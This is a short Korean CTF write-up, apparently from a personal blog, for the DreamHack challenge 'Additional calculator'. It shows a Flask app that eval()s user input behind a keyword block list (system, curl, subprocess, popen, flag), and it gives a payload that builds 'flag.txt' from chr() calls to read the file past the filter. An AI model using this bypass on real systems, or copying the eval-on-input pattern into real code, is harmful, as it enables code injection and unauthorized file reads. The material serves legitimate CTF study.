Hacking/DreamHack
Additional calculator
SurTesterS
2024. 9. 4. 20:46
코드 분석
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re
app = Flask(__name__)
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result=formula)
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
app.run(host="0.0.0.0", port=8000)
w.list 에 없는 문자가 들어오거나,
(system)|(curl)|(flag)|(subprocess)|(popen) 문자열 을 호출하면, error 발생
위 상황을 우회 하여, flag.txt 파일을 읽어 와야함
open, read 함수 사용 가능
또한 chr()를 이용하여, flag 작성가능
open(chr(102)+ chr(108)+ chr(97)+chr(103)+ chr(46) + chr(116) + chr(120) + chr(116)).read()